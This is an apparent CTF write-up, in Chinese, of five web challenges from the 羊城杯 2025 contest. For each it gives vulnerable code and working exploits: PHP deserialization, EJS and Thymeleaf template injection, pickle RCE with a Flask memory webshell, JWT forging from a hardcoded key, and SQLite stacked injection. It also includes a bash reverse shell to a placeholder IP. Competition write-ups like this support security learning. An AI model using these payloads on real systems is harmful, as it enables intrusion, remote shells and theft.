羊城杯 2025 Web Writeup
定榜第二

ez_unserialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class A {
public $first;
public $step;
public $next;
public function __construct() {
$this->first = "继续加油!";
}
public function start() {
echo $this->next;
}
}
class E {
private $you;
public $found;
private $secret = "admin123";
public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}
class F {
public $fifth;
public $step;
public $finalstep;
public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}
class H {
public $who;
public $are;
public $you;
public function __construct() {
$this->you = "nobody";
}
public function __destruct() {
$this->who->start();
}
}
class N {
public $congratulation;
public $yougotit;
public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}
class U {
public $almost;
public $there;
public $cmd;
public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}
public function __invoke() {
return $this->there->system($this->cmd);
}
}
class V {
public $good;
public $keep;
public $dowhat;
public $go;
public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}
unserialize($_POST['payload']);
?>
Easy PHP 反序列化,exp
<?php
$target = $argv[1];
$cmd = $argv[2];
class A { public $first; public $step; public $next; }
class E { public $found; }
class F { public $fifth; public $step; public $finalstep; }
class H { public $who; public $are; public $you; }
class V { public $good; public $keep; public $dowhat; public $go; }
$f = new F(); $f->finalstep = 'u';
$e = new E(); $e->found = $f;
$v = new V(); $v->dowhat = 'secret';
$v -> go = $e;
$a = new A(); $a->next = $v;
$h = new H(); $h->who = $a;
$payload = urlencode(serialize($h));
echo $payload;

staticNodeService
任意 PUT 写文件,文件内容 base64 解密
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);
if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}
fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});
templ 模板名可控,没有任何校验
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}
过滤器对任何以 js 结尾或包含 .. 都会被拦截
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})
利用路径末尾添加 /. 的方式绕过过滤,/. 表示当前路径自动被消去
PUT /l1.ejs/. HTTP/1.1
{"content":"base64-payload"}
EJS 会执行 <% %> 中的 JS,<%- %> 为不转义输出
<%- global.process.mainModule.require('child_process').execSync('ls / -liah') %>

total 84K
4457839 drwxr-xr-x 1 root root 4.0K Oct 11 16:17 .
4457839 drwxr-xr-x 1 root root 4.0K Oct 11 16:17 ..
4457828 -rwxr-xr-x 1 root root 0 Oct 11 16:17 .dockerenv
2099511 drwxr-xr-x 1 node node 4.0K Oct 11 16:38 App
1183943 lrwxrwxrwx 1 root root 7 Dec 2 2024 bin -> usr/bin
1310979 drwxr-xr-x 2 root root 4.0K Oct 31 2024 boot
667047127 drwxr-xr-x 5 root root 360 Oct 11 16:17 dev
4457829 drwxr-xr-x 1 root root 4.0K Oct 11 16:17 etc
2099441 -r-------- 1 root root 41 Oct 11 16:17 flag
1839683 drwxr-xr-x 1 root root 4.0K Dec 3 2024 home
1183944 lrwxrwxrwx 1 root root 7 Dec 2 2024 lib -> usr/lib
1183945 lrwxrwxrwx 1 root root 9 Dec 2 2024 lib64 -> usr/lib64
1183946 drwxr-xr-x 2 root root 4.0K Dec 2 2024 media
1311248 drwxr-xr-x 2 root root 4.0K Dec 2 2024 mnt
1840448 drwxr-xr-x 1 root root 4.0K Dec 3 2024 opt
1 dr-xr-xr-x 963 root root 0 Oct 11 16:17 proc
2099498 -rwsr-xr-x 1 root root 16K Dec 9 2024 readflag
2098857 drwx------ 1 root root 4.0K Dec 9 2024 root
1574207 drwxr-xr-x 1 root root 4.0K Dec 3 2024 run
1183947 lrwxrwxrwx 1 root root 8 Dec 2 2024 sbin -> usr/sbin
1311258 drwxr-xr-x 2 root root 4.0K Dec 2 2024 srv
2099470 -rwxr-xr-x 1 root root 148 Dec 9 2024 start.sh
1 dr-xr-xr-x 13 root root 0 Oct 11 06:26 sys
2099456 drwxrwxrwt 1 root root 4.0K Dec 9 2024 tmp
2097846 drwxr-xr-x 1 root root 4.0K Dec 2 2024 usr
1713954 drwxr-xr-x 1 root root 4.0K Dec 2 2024 var
执行 /readflag
<%- global.process.mainModule.require('child_process').execSync('/readflag') %>

ez_blog
提示访客只能用管理账号登录,添加文章必须要管理员账户

但题目没有路由注册,顺着思路测几个账户,发现默认访客账号 guest/guset

看到熟悉的 session,先顺手解密一下,但程序并不是从这里做鉴权

视野回到 Token,十六进制解密得到 0x800x040x95 ...,典型的 pickle 流标志
b'\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x02id\x94K\x02\x8c\x08username\x94\x8c\x05guest\x94\x8c\x08is_admin\x94\x89\x8c\tlogged_in\x94\x88ub.'
字段大致意思为以下。
app.User(
id=2,
username='guest',
is_admin=False,
logged_in=True
)
pickle opcode 用 0x89 表达 False,将其改为 0x88 绕过鉴权
import binascii
data = b'\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x02id\x94K\x02\x8c\x08username\x94\x8c\x05guest\x94\x8c\x08is_admin\x94\x88\x8c\tlogged_in\x94\x88ub.'
print(binascii.hexlify(bytes(data)).decode())
添加文章尝试 SSTI,但其不解析直接当纯文本输出了

Token 是 pickle 十六进制数据,拿到本地需要进行反序列化,猜测存在 pickle.loads,打一下延迟验证
import pickle, binascii
class RCE:
def __reduce__(self):
return (eval, (f"__import__('time').sleep(10)",))
print(binascii.hexlify(pickle.dumps(RCE())).decode())

能 RCE,测试发现反弹shell、DNS等应该都不行,不出网,最终打 after_request 内存马拿下FLAG
import pickle, binascii
payload = r"""
from flask import current_app, request, make_response
import os
def _h(resp):
c = request.args.get('cmd')
return make_response(os.popen(c).read()) if c else resp
current_app.after_request_funcs.setdefault(None, []).append(_h)
"""
class RCE:
def __reduce__(self): return (exec, (payload,))
print(binascii.hexlify(pickle.dumps(RCE())).decode())

authweb
Spring Security + Thymeleaf + JJWT
项目结构如下
com/example/demo
├── AuthApplication.java #Spring Boot 启动类
├── SecurityConfig.java # Security 规则存储
├── InMemoryUserDetailsService.java
├── JwtTokenProvider.java # JJWT 校验
├── JwtAuthenticationFilter.java
├── Login.java
└── MainC.java
InMemoryUserDetailsService.java,两个预定义用户 user、admin,使用静态 HashMap 存储
@Service
public class InMemoryUserDetailsService
implements UserDetailsService {
private static final Map<String, User> USERS = new HashMap();
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
User user = (User)USERS.get(username);
if (user == null) {
throw new UsernameNotFoundException("User not found with username: " + username);
}
return user;
}
static {
USERS.put("user1", new User("user1", "{noop}password1", true, true, true, true, Arrays.asList(new SimpleGrantedAuthority("ROLE_USER"))));
USERS.put("admin", new User("admin", "{noop}adminpass", true, true, true, true, Arrays.asList(new SimpleGrantedAuthority("ROLE_ADMIN"))));
}
}
requestMatchers 定义访问需要通过 hasRole("USER"),Spring Security会自动添加"ROLE_"前缀,所以检查的是 ROLE_USER。前面预定义用户代码中 admin 只拥有 ROLE_ADMIN 角色,并没有 ROLE_USER。这里鉴权校验逻辑上也有问题,有且仅有 user 能访问关键路由
@Configuration
public class SecurityConfig {
private final JwtTokenProvider jwtTokenProvider;
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
http.csrf().disable()
.authorizeHttpRequests(authz -> authz
.requestMatchers("/upload").hasRole("USER")
.requestMatchers("/").hasRole("USER")
.anyRequest().permitAll()
)
.addFilterBefore(
new JwtAuthenticationFilter(this.jwtTokenProvider, this.userDetailsService()),
UsernamePasswordAuthenticationFilter.class
)
.formLogin(form -> form
.loginPage("/login/dynamic-template?value=login")
.permitAll()
);
return (SecurityFilterChain)http.build();
}
}
再看文件上传路由,imgFile 字段接收 MultipartFile 对象,包含上传内容;imgName 字段接收上传非拓展名文件名,随后创建目录并将文件写入。文件路径大致为 <工作目录>/uploadFile/<name>.html,很明显存在路径穿越,../filename 可以控制上传路径,最后会 return success 即渲染 success.html 返回,即使不懂其模板机制也可以从模糊测试中得出结论
@Controller
public class MainC {
@PostMapping(value={"/upload"})
public String upload(@RequestParam(value="imgFile") MultipartFile file, @RequestParam(value="imgName") String name) throws Exception {
File dir = new File("uploadFile");
if (!dir.exists()) {
dir.mkdirs();
}
file.transferTo(new File(dir.getAbsolutePath() + File.separator + name + ".html"));
return "success";
}
}
假登录路由没写登录逻辑,也没对应的后台程序,但其具备动态模板渲染的功能,且 value 可控,文件上传与解析路径不在同一个目录,利用还需要猜测其解析路径
@Controller
@RequestMapping(value={"/login"})
public class Login {
@GetMapping(value={"/dynamic-template"})
public String getDynamicTemplate(@RequestParam(value="value", required=false) String value) {
if (value.equals("")) {
value = "login";
}
return value + ".html";
}
}
Spring Security 还有注册一个 JWT 校验,每次请求都会先走 JwtAuthenticationFilter
.addFilterBefore(
(Filter)new JwtAuthenticationFilter(this.jwtTokenProvider,
this.userDetailsService()), UsernamePasswordAuthenticationFilter.class
)
JwtAuthenticationFilter 类,先取 HTTP 头 Authorization 并取其中 Bearer 字段交给 jwtTokenProvider#validateToken 校验
public class JwtAuthenticationFilter
extends OncePerRequestFilter {
private final JwtTokenProvider jwtTokenProvider;
private final UserDetailsService userDetailsService;
public JwtAuthenticationFilter(JwtTokenProvider jwtTokenProvider, UserDetailsService userDetailsService) {
this.jwtTokenProvider = jwtTokenProvider;
this.userDetailsService = userDetailsService;
}
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
String token;
String tokenHeader = request.getHeader("Authorization");
if (tokenHeader != null && tokenHeader.startsWith("Bearer ") && this.jwtTokenProvider.validateToken(token = tokenHeader.substring(7))) {
String username = this.jwtTokenProvider.getUsernameFromToken(token);
System.out.println(username);
UserDetails userDetails = this.userDetailsService.loadUserByUsername(username);
UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken((Object)username, null, userDetails.getAuthorities());
SecurityContextHolder.getContext().setAuthentication((Authentication)authentication);
}
filterChain.doFilter((ServletRequest)request, (ServletResponse)response);
}
}
跟进 JwtTokenProvider,硬编码密钥 secret 写死在代码中
public class JwtTokenProvider {
private String secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03";
public boolean validateToken(String token) {
try {
Jwts.parserBuilder().setSigningKey(this.secret.getBytes()).build().parseClaimsJws(token);
return true;
}
catch (Exception e) {
return false;
}
}
public String getUsernameFromToken(String token) {
Claims claims = (Claims)Jwts.parserBuilder().setSigningKey(this.secret.getBytes()).build().parseClaimsJws(token).getBody();
return claims.getSubject();
}
}
直接用硬编码 JWT 伪造绕过鉴权
package org.example;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.Key;
import java.util.Date;
public class Main {
public static void main(String[] args) {
String secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03";
Key key = new SecretKeySpec(secret.getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName());
long now = System.currentTimeMillis();
String token = Jwts.builder()
.setSubject("user1")
.setIssuedAt(new Date(now))
.setExpiration(new Date(now + 3600_000L * 24))
.signWith(key, SignatureAlgorithm.HS256)
.compact();
System.out.println(token);
}}

Spring Boot 默认使用 SpringResourceTemplateResolver,前缀一般是
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
猜测其路径也是 template,Thymeleaf SpEL 模板注入先测试一下解析
<pre th:text="${1+1}">x</pre>

解析成功

直接读环境变量
<pre th:text="${@environment.getSystemEnvironment()}">x</pre>

这样解析也可以
[[${1+1}]]

无回显出网打反弹 Shell
[[${T(com.fasterxml.jackson.databind.util.ClassUtil).createInstance("".getClass().forName('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser'),true).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('curl http://ip:port')").getValue()}]]
[[${T(com.fasterxml.jackson.databind.util.ClassUtil).createInstance("".getClass().forName('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser'),true).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('bash -c $@|bash 0 echo bash -i >& /dev/tcp/ip/7777 0>&1')").getValue()}]]

ezsignin

注册后显示无权限访问

弱密码 Admin/password,或者注入万能密码
" OR 1=1) -- -

文件读取拿源码 download?filename=../app.js
const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');
const app = express();
const db = new sqlite3.Database('./db.sqlite');
/*
FLAG in /fla4444444aaaaaagg.txt
*/
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(session({
secret: 'welcometoycb2025',
resave: false,
saveUninitialized: true,
cookie: { secure: false }
}));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
const checkPermission = (req, res, next) => {
if (req.path === '/login' || req.path === '/register') return next();
if (!req.session.user) return res.redirect('/login');
if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
next();
};
app.use(checkPermission);
app.get('/', (req, res) => {
fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
if (err) {
console.error('读取目录时发生错误:', err);
return res.status(500).send('目录读取失败');
}
req.session.files = files;
res.render('files', { files, user: req.session.user });
});
});
app.get('/login', (req, res) => {
res.render('login');
});
app.get('/register', (req, res) => {
res.render('register');
});
app.get('/upload', (req, res) => {
if (!req.session.user) return res.redirect('/login');
res.render('upload', { user: req.session.user });
//todoing
});
app.get('/logout', (req, res) => {
req.session.destroy(err => {
if (err) {
console.error('退出时发生错误:', err);
return res.status(500).send('退出失败');
}
res.redirect('/login');
});
});
app.post('/login', async (req, res) => {
const username = req.body.username;
const password = req.body.password;
const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
db.get(sql,async (err, user) => {
if (!user) {
return res.status(401).send('账号密码出错!!');
}
req.session.user = { id: user.id, username: user.username, isAdmin: user.is_admin };
res.redirect('/');
});
});
app.post('/register', (req, res) => {
const { username, password, confirmPassword } = req.body;
if (password !== confirmPassword) {
return res.status(400).send('两次输入的密码不一致');
}
db.exec(`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`, function(err) {
if (err) {
console.error('注册失败:', err);
return res.status(500).send('注册失败,用户名可能已存在');
}
res.redirect('/login');
});
});
app.get('/download', (req, res) => {
if (!req.session.user) return res.redirect('/login');
const filename = req.query.filename;
if (filename.startsWith('/')||filename.startsWith('./')) {
return res.status(400).send('WAF');
}
if (filename.includes('../../')||filename.includes('.././')||filename.includes('f')||filename.includes('//')) {
return res.status(400).send('WAF');
}
if (!filename || path.isAbsolute(filename) ) {
return res.status(400).send('无效文件名');
}
const filePath = path.join(__dirname, 'documents', filename);
if (fs.existsSync(filePath)) {
res.download(filePath);
} else {
res.status(404).send('文件不存在');
}
});
const PORT = 80;
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
sqlite3 注入,先测试一下是否能建表插值
username=123&password=1'); CREATE TABLE IF NOT EXISTS pwn(note TEXT); INSERT INTO pwn VALUES('OK-1');--&confirmPassword=1'); CREATE TABLE IF NOT EXISTS pwn(note TEXT); INSERT INTO pwn VALUES('OK-1');--
读取 ../db.sqlite,拿到本地读一下,看到 SQL 执行成功

测试是否允许 load_extension 加载 fileio,如果可以则能直接调用 readfile() / writefile()把 /fla4444444aaaaaagg.txt 读出来
username=1234&password=1'); INSERT INTO pwn VALUES('BEFORE-EXT'); SELECT load_extension('/usr/lib/x86_64-linux-gnu/sqlite3/fileio.so','sqlite3_fileio_init'); INSERT INT
O pwn VALUES('AFTER-EXT');--&&confirmPassword=1'); INSERT INTO pwn VALUES('BEFORE-EXT'); SELECT load_extension('/usr/lib/x86_64-linux-gnu/sqlite3/fileio.so','sqlite3_fileio_init'); INS
ERT INTO pwn VALUES('AFTER-EXT');--

失败,测了一晚上没有思路,这题贴一下 z3 队长的解法
payload
');ATTACH DATABASE '/app/views/upload.ejs' AS z3;create TABLE z3.exp (paylo
ad text); insert INTO z3.exp (payload) VALUES ('<%= process.mainModule.requ
ire("child_process").execSync("cat /f*").toString() %>');--


浙公网安备 33010602011771号